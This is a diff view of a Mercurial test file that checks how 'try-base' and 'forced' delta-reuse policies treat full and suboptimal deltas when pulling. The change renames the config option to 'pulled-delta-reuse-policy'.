271 271 $ echo '[paths]' >> local-pre-pull-full/.hg/hgrc
272 272 $ echo 'default=../peer-bad-delta-with-full' >> local-pre-pull-full/.hg/hgrc
273 273
274 274 $ hg -R peer-bad-delta-with-full update 'desc("merge")' --quiet
275 275 $ ($TESTDIR/seq.py 2000 2100; $TESTDIR/seq.py 500 510; $TESTDIR/seq.py 3000 3050) \
276 276 > | $PYTHON $TESTTMP/sha256line.py > peer-bad-delta-with-full/my-file.txt
277 277 $ hg -R peer-bad-delta-with-full commit -m 'trigger-full'
278 278 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 * (glob)
279 279 DBG-DELTAS: MANIFESTLOG: * (glob)
280 280 DBG-DELTAS: CHANGELOG: * (glob)
281 281
282 282 Check that "try-base" behavior challenge the delta
283 283 --------------------------------------------------
284 284
285 285 The bundling process creates a delta against the previous revision, however this
286 286 is an invalid chain for the client, so it is not considered and we do a full
287 287 snapshot again.
288 288
289 289 $ cp -ar local-pre-pull-full local-try-base-full
290 290 $ hg -R local-try-base-full pull --quiet \
291 > --config 'paths.default:delta-reuse-policy=try-base'
291 > --config 'paths.default:pulled-delta-reuse-policy=try-base'
292 292 DBG-DELTAS: CHANGELOG: * (glob)
293 293 DBG-DELTAS: CHANGELOG: * (glob)
294 294 DBG-DELTAS: MANIFESTLOG: * (glob)
295 295 DBG-DELTAS: MANIFESTLOG: * (glob)
296 296 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
297 297 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 * (glob)
298 298
299 299 Check that "forced" behavior do not challenge the delta, even if it is full.
300 300 ---------------------------------------------------------------------------
301 301
302 302 A full bundle should be accepted as full bundle without recomputation
303 303
304 304 $ cp -ar local-pre-pull-full local-forced-full
305 305 $ hg -R local-forced-full pull --quiet \
306 > --config 'paths.default:delta-reuse-policy=forced'
306 > --config 'paths.default:pulled-delta-reuse-policy=forced'
307 307 DBG-DELTAS: CHANGELOG: * (glob)
308 308 DBG-DELTAS: CHANGELOG: * (glob)
309 309 DBG-DELTAS: MANIFESTLOG: * (glob)
310 310 DBG-DELTAS: MANIFESTLOG: * (glob)
311 311 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
312 312 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=4 is-cached=1 - search-rounds=0 try-count=0 - delta-type=full snap-depth=0 - * (glob)
313 313
314 314 Check that "forced" behavior do not challenge the delta, even if it is bad.
315 315 ---------------------------------------------------------------------------
316 316
317 317 The client does not challenge anything and applies the bizarre delta directly.
318 318
319 319 Note: If the bundling process becomes smarter, this test might no longer work
320 320 (as the server won't be sending "bad" deltas anymore) and might need something
321 321 more subtle to test this behavior.
322 322
323 323 $ hg bundle -R peer-bad-delta-with-full --all --config devel.bundle.delta=p1 all-p1.hg
324 324 5 changesets found
325 325 $ cp -ar local-pre-pull-full local-forced-full-p1
326 326 $ hg -R local-forced-full-p1 pull --quiet \
327 > --config 'paths.*:delta-reuse-policy=forced' all-p1.hg
327 > --config 'paths.*:pulled-delta-reuse-policy=forced' all-p1.hg
328 328 DBG-DELTAS: CHANGELOG: * (glob)
329 329 DBG-DELTAS: CHANGELOG: * (glob)
330 330 DBG-DELTAS: MANIFESTLOG: * (glob)
331 331 DBG-DELTAS: MANIFESTLOG: * (glob)
332 332 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
333 333 DBG-DELTAS: FILELOG:my-file.txt: rev=4: delta-base=3 * (glob)
General Comments 0
You need to be logged in to leave comments. Login now